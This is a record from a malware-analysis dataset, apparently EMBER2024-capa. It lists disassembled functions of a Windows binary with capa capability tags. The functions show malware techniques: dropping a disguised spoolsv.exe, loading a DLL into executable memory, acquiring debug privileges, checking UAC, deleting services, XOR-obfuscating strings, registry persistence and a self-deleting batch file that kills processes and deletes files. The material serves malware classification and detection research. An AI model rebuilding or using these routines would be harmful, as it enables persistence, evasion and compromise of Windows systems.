joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402cd6
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0
mov edi, ecx
mov eax, dword [esi]
push 0x80
mov dword [ebp - 4], eax
mov eax, dword [esi + 4]
push 3
mov dword [ebp + 8], eax
push 0
push 2
lea eax, [edi + 0x20]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 8]
push 0
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff8
add esi, 8
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
push 4
add dword [ebp + 8], eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x13]
push eax
mov byte [ebp - 0x14], 0x70
call sub.MSVCRT.dll_memcpy
lea eax, [ebp + 8]
push 4
push eax
lea eax, [ebp - 0xf]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x18
lea eax, [ebp - 0x14]
mov ecx, edi
push 9
push eax
call fcn.0040659b
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x402f22
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
and dword [ebp - 4], 0
push ebx
push esi
push edi
push str.GetModuleFileNameA
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
and byte [ebp - 0x404], 0
mov edx, eax
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x403]
push 0x400
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x404]
push eax
push 0
call edx
lea eax, [ebp - 0x404]
push 0x416238
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
pop ecx
test edi, edi
pop ecx
je 0x402fb5
push 2
push 0xfffffffffffffffc
push edi
call dword [sym.imp.MSVCRT.dll_fseek]
mov esi, dword [sym.imp.MSVCRT.dll_fread]
push edi
push 4
push 1
pop ebx
lea eax, [ebp - 4]
push ebx
push eax
call esi
add esp, 0x1c
cmp dword [ebp - 4], 0
jne 0x402fbc
xor al, al
jmp 0x403059
mov eax, 0xfffffdc8
push 2
sub eax, dword [ebp - 4]
push eax
push edi
call dword [sym.imp.MSVCRT.dll_fseek]
push edi
push 4
push ebx
push 0x4189e0
call esi
push edi
push 4
push ebx
push 0x4189b8
call esi
push edi
push 4
push ebx
push 0x4189bc
call esi
push edi
push 4
push ebx
push 0x4189c0
call esi
add esp, 0x4c
push edi
push 4
push ebx
push 0x4189c4
call esi
push edi
push 4
push ebx
push 0x4189c8
call esi
push edi
push 4
push ebx
push 0x4189cc
call esi
push edi
push 4
push ebx
push 0x4189d0
call esi
add esp, 0x40
push edi
push 4
push ebx
push 0x4189d4
call esi
push edi
push 4
push ebx
push 0x4189d8
call esi
push edi
push 4
push ebx
push 0x4189dc
call esi
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x34
mov al, bl
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40305e
Capabilities:
Encode data using xor
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push 0x41625c
push dword [ebp + 0x10]
call dword [sym.imp.MSVCRT.dll_fopen]
pop ecx
mov dword [ebp - 4], eax
test eax, eax
pop ecx
jne 0x403080
leave
ret
push ebx
mov ebx, dword [ebp + 0x14]
push esi
push ebx
call sub.MFC42.DLL_operatornew
mov esi, eax
pop ecx
test esi, esi
je 0x4030ec
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_fseek]
push dword [ebp + 8]
push ebx
push 1
push esi
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x1c
cmp eax, ebx
jne 0x4030e5
xor ecx, ecx
test ebx, ebx
jbe 0x4030d5
mov al, byte [ecx + esi]
mov dl, al
shr dl, 5
shl al, 3
or dl, al
mov al, bl
sub al, cl
xor dl, al
mov byte [ecx + esi], dl
inc ecx
cmp ecx, ebx
jb 0x4030ba
push dword [ebp - 4]
push ebx
push 1
push esi
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
push esi
call sub.MFC42.DLL_operatordelete
pop ecx
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.dll_fclose]
push dword [ebp + 0x10]
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_strcpy
push dword [ebp + 0x18]
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x14
push str.MoveFileExA
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x108]
push 1
push ecx
push dword [ebp + 0x10]
call eax
push 1
pop eax
pop esi
pop ebx
leave
ret

Function at 0x403142
Capabilities:
Parse pe header

Disassembly:
mov ecx, dword [esp + 4]
test ecx, ecx
jne 0x40314e
or eax, 0xffffffff
ret
cmp word [ecx], 0x5a4d
jne 0x403164
mov eax, dword [ecx + 0x3c]
add eax, ecx
je 0x403164
cmp dword [eax], 0x4550
je 0x403168
push 0xfffffffffffffffe
pop eax
ret
mov eax, dword [eax + 0x50]
ret

Function at 0x40316c
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
test ebx, ebx
je 0x40321c
and dword [ebp + 8], 0
cmp word [ebx], 0x5a4d
jne 0x40321c
mov eax, dword [ebx + 0x3c]
add eax, ebx
je 0x40321c
cmp dword [eax], 0x4550
jne 0x40321c
cmp dword [eax + 0x7c], 0
je 0x40321c
mov eax, dword [eax + 0x78]
test eax, eax
je 0x40321c
mov edx, dword [eax + ebx + 0x18]
mov ecx, dword [eax + ebx + 0x14]
add eax, ebx
mov dword [ebp - 8], edx
test edx, edx
je 0x40321c
test ecx, ecx
je 0x40321c
cmp edx, ecx
jg 0x40321c
mov ecx, dword [eax + 0x20]
mov esi, dword [eax + 0x24]
mov edi, dword [eax + 0x1c]
add ecx, ebx
add esi, ebx
add edi, ebx
test ecx, ecx
je 0x40321c
test esi, esi
je 0x40321c
test edi, edi
je 0x40321c
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov eax, dword [eax]
add eax, ebx
je 0x4031fd
push dword [ebp + 0xc]
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x40320e
inc dword [ebp + 8]
add dword [ebp - 4], 4
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 8]
jge 0x40321c
jmp 0x4031e5
mov eax, dword [ebp + 8]
movzx eax, word [esi + eax*2]
mov eax, dword [edi + eax*4]
add eax, ebx
jmp 0x40321e
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403223
Capabilities:
Allocate or change rwx memory
Delete file
Execute shellcode via indirect call

Disassembly:
push ebx
push ebp
push esi
push edi
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
push ebp
call fcn.00403142
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
pop ecx
mov esi, eax
push 0x40
push 0x1000
push esi
push 0
call edi
mov ebx, eax
test ebx, ebx
je 0x4032ce
push esi
push 0
push ebx
call sub.MSVCRT.dll_memset
push esi
push ebp
push ebx
call sub.MSVCRT.dll_memcpy
add esp, 0x18
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x40
push 0x2000
push esi
push ebp
call edi
push 0x40
push 0x1000
push esi
push ebp
call edi
mov edi, eax
push esi
push 0
push edi
call sub.MSVCRT.dll_memset
push esi
push ebx
push edi
call sub.MSVCRT.dll_memcpy
add esp, 0x18
push 0x4000
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push ebx
call esi
push 0x8000
push 0
push ebx
call esi
push str.DllInit
push edi
call fcn.0040316c
pop ecx
mov dword [0x4189b4], eax
test eax, eax
pop ecx
jne 0x4032d7
xor eax, eax
jmp 0x4032e5
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x4032ca
call eax
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x403b04
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
mov esi, str.SOFTWAREMicrosoft
lea edi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 4]
movsw word es:[edi], word [esi]
push eax
lea eax, [ebp - 0x18]
push eax
push connect
movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
pop edi
pop esi
test eax, eax
jne 0x403b5c
push dword [ebp + 0xc]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push dword [ebp + 0xc]
push 1
push 0
push 0x41636c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret

Function at 0x403c4d
Capabilities:
Terminate thread

Disassembly:
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x9e50], ebx
mov dword [esi], 0x4125b4
jbe 0x403c87
push edi
lea edi, [esi + 0x210]
push 0xffffffffffffffff
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
add edi, 4
cmp ebx, dword [esi + 0x9e50]
jb 0x403c68
pop edi
mov ecx, esi
call fcn.00406588
pop esi
pop ebx
ret

Function at 0x403de3
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
je 0x403e72
push 0xf01ff
push dword [ebp + 8]
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
jne 0x403e1e
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x403e72
lea eax, [ebp - 0x1c]
push esi
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x18], 1
mov esi, dword [sym.imp.MSVCRT.dll_printf]
je 0x403e4b
push str.Stopping_se2rvice..._n
call esi
pop ecx
lea eax, [ebp - 0x1c]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
je 0x403e5d
push str.Service_removed_n
jmp 0x403e62
push str.DeleteService_failed
call esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop ecx
push edi
call esi
push ebx
call esi
pop esi
pop edi
pop ebx
leave
ret 4
Function at 0x403ec6
Capabilities:
Check os version
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
push edi
xor edi, edi
push 0x94
lea eax, [ebp - 0xa4]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0xa4]
mov dword [ebp - 0xa4], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x403f69
cmp dword [ebp - 0xa0], 5
jbe 0x403f69
push 4
mov dword [ebp - 4], edi
pop eax
mov dword [ebp - 8], edi
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x20019
push edi
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem_
push getsockname
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403f69
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push edi
push str.EnableLUA
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x403f60
cmp dword [ebp - 8], 1
sete al
mov edi, eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
leave
ret
Function at 0x40406b
Capabilities:
Create process on windows
Get common file path
Get startup folder
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
push ebx
push esi
push edi
mov ebx, ecx
call fcn.00403e78
mov esi, 0x4163d8
lea edi, [ebp - 0x10]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
cmp eax, 1
movsd dword es:[edi], dword [esi]
jne 0x404099
lea eax, [ebp - 0x10]
mov ecx, ebx
push eax
call fcn.00403de3
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x41f]
mov byte [ebp - 0x420], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.GetModuleFileNameA
push str.kernel32.dll
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, 0x104
lea eax, [ebp - 0x420]
push esi
push eax
push str._temp__spoolsv.exe
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
call fcn.0040400d
push 0x40
mov edx, eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x113]
mov byte [ebp - 0x114], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
cmp edx, 1
stosb byte es:[edi], al
jne 0x404138
push ebx
lea eax, [ebp - 0x114]
push 7
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x114]
push 0x416224
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x114]
push 0x416490
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x217]
mov byte [ebp - 0x218], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x218]
push eax
push esi
call dword [0x418880]
lea eax, [ebp - 0x218]
push str.a.bat
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x218]
push 0x416484
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 0x10
mov dword [ebp - 4], eax
xor eax, eax
lea edi, [ebp - 0x31b]
push 0x40
mov byte [ebp - 0x31c], bl
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x31c]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x31c]
push eax
push str._echo_off_n_rtaskkill__f__im_spoolsv.exe_n_rdel___s__n_rdel___s__n_r
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.dll_fprintf]
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
lea eax, [ebp - 0x218]
push ebx
push ebx
push ebx
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4048ce
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push ebx
push esi
push edi
xor ebx, ebx
push dword [ebp + 0x10]
push ebx
push dword [ebp + 0xc]
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push str._computername_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov esi, str.SOFTWAREMicrosoft
lea edi, [ebp - 0x20]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 4]
push eax
push 1
movsb byte es:[edi], byte [esi]
pop esi
lea eax, [ebp - 0x20]
push esi
push ebx
push eax
push connect
call dword [0x419580]
test eax, eax
jne 0x40498d
mov eax, 0xff
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], eax
push eax
lea eax, [ebp - 0x120]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 8]
push eax
push ebx
push 0x41636c
push dword [ebp - 4]
call dword [0x419578]
test eax, eax
jne 0x404984
push dword [ebp + 0x10]
push ebx
push dword [ebp + 0xc]
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x120]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40499b
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1f4
and byte [ebp - 0x1a], 0
lea eax, [ebp - 0xf0]
push esi
push eax
mov byte [ebp - 0xf4], 0x66
mov dword [ebp - 0xf0], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x1f4]
push 0x100
push eax
push dword [ebp + 8]
call fcn.004048ce
push 0x10
lea eax, [ebp - 0x14]
pop esi
push esi
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 4]
mov dword [ebp - 4], esi
mov esi, dword [ebp + 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
push dword [esi + 0xa8]
call dword [sym.imp.WS2_32.dll_getsockname]
lea eax, [ebp - 0x10]
push 4
push eax
lea eax, [ebp - 0x50]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x1f4]
push 0x32
push eax
lea eax, [ebp - 0x4c]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x18
call fcn.0040484c
mov dword [ebp - 0x54], eax
call fcn.00404899
mov byte [ebp - 0x1a], al
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0xf4]
push 0xe0
push eax
mov ecx, esi
call fcn.00401b73
pop esi
leave
ret
Function at 0x404c1e
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
lea eax, [ebp - 4]
push edi
xor esi, esi
push eax
push 0xf01ff
xor edi, edi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x404c89
lea eax, [ebp - 0xc]
push eax
push str.SeDebugPrivilege
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x404c89
mov eax, dword [ebp - 0xc]
push esi
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
push esi
lea eax, [ebp - 0x1c]
push 0x10
push eax
push esi
push dword [ebp - 4]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov edi, eax
cmp dword [ebp - 4], esi
je 0x404c97
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x404c9d
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
and dword [ebp - 0x128], 0
push ebx
push edi
push 0x49
pop ecx
xor eax, eax
lea edi, [ebp - 0x124]
push eax
rep stosd dword es:[edi], eax
push 2
or ebx, 0xffffffff
call dword [0x419544]
mov edi, eax
cmp edi, ebx
jne 0x404cd2
mov eax, ebx
jmp 0x404d31
lea eax, [ebp - 0x128]
push esi
push eax
push edi
mov dword [ebp - 0x128], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x404d27
push dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea eax, [ebp - 0x104]
push eax
call esi
test eax, eax
je 0x404d21
lea eax, [ebp - 0x128]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x404d27
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
jmp 0x404cfe
mov ebx, dword [ebp - 0x120]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop esi
pop edi
pop ebx
leave
ret
Function at 0x404d8d
Capabilities:
Get common file path
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x17c
push esi
push edi
lea eax, [ebp - 0x17c]
xor esi, esi
push 0x104
push eax
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x17c]
push 0x41689c
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x17c]
pop ecx
push esi
push esi
push 3
push esi
push 1
push connect
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
mov dword [ebp - 0x14], edi
je 0x404e1c
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
push esi
push esi
push 2
push esi
push edi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
cmp eax, esi
mov dword [ebp - 0x1c], eax
je 0x404e1c
push esi
push esi
push esi
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
cmp edi, esi
jne 0x404e20
xor eax, eax
jmp 0x404e9f
sub dword [ebp - 4], 0xc
push ebx
je 0x404e84
mov ebx, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp dword [esi + edi], 0xa1909090
jne 0x404e76
cmp dword [esi + edi + 8], 0x909090c3
jne 0x404e76
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push 4
push eax
push dword [esi + edi + 4]
push dword [ebp + 8]
call ebx
test eax, eax
je 0x404e76
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x74]
push 0x58
push eax
push dword [ebp - 8]
push dword [ebp + 8]
call ebx
test eax, eax
je 0x404e76
cmp dword [ebp - 0x5c], 0x76724573
je 0x404e7e
inc esi
cmp esi, dword [ebp - 4]
jb 0x404e2d
jmp 0x404e84
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x14]
call esi
mov eax, dword [ebp - 0xc]
pop ebx
pop edi
pop esi
leave
ret

Function at 0x405028
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [esp + 4]
xor eax, eax
cmp ecx, eax
je 0x405045
cmp dword [esp + 8], eax
je 0x405045
jle 0x405045
xor byte [eax + ecx], 0x58
inc eax
cmp eax, dword [esp + 8]
jl 0x40503a
ret
Function at 0x405046
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
push ebx
push esi
push edi
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x10b]
and byte [ebp - 0x314], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x313]
rep stosd dword es:[edi], eax
and byte [ebp - 0xff], 0
and dword [ebp - 4], 0
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x10c]
mov byte [ebp - 0x10c], 0xb
push eax
mov byte [ebp - 0x10b], 0x37
mov byte [ebp - 0x10a], 0x3e
mov byte [ebp - 0x109], 0x2c
mov byte [ebp - 0x108], 0x2f
mov byte [ebp - 0x107], 0x39
mov byte [ebp - 0x106], 0x2a
mov byte [ebp - 0x105], 0x3d
mov byte [ebp - 0x104], 4
mov byte [ebp - 0x103], 0x22
mov byte [ebp - 0x102], 0x31
mov byte [ebp - 0x101], 0x28
mov byte [ebp - 0x100], 0x39
mov dword [ebp - 8], 3
call sub.MSVCRT.dll_strlen
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.00405028
add esp, 0xc
lea eax, [ebp - 4]
mov edi, dword [sym.imp.SHLWAPI.dll_SHGetValueA]
mov esi, str.Data
push eax
lea eax, [ebp - 0x314]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10c]
push esi
mov ebx, getsockname
push eax
push ebx
call edi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x314]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10c]
push esi
push eax
push connect
call edi
and byte [ebp - 0x210], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x20f]
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x210]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x210]
push eax
call sub.MSVCRT.dll_strlen
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.00405028
lea eax, [ebp - 0x210]
push eax
call sub.MSVCRT.dll_strlen
add esp, 0x10
mov edi, dword [sym.imp.SHLWAPI.dll_SHSetValueA]
push eax
lea eax, [ebp - 0x210]
push eax
push 3
lea eax, [ebp - 0x10c]
push esi
push eax
push ebx
call edi
test eax, eax
jne 0x4051e2
lea eax, [ebp - 0x210]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x210]
push eax
push 3
lea eax, [ebp - 0x10c]
push esi
push eax
push connect
call edi
pop edi
pop esi
pop ebx
leave
ret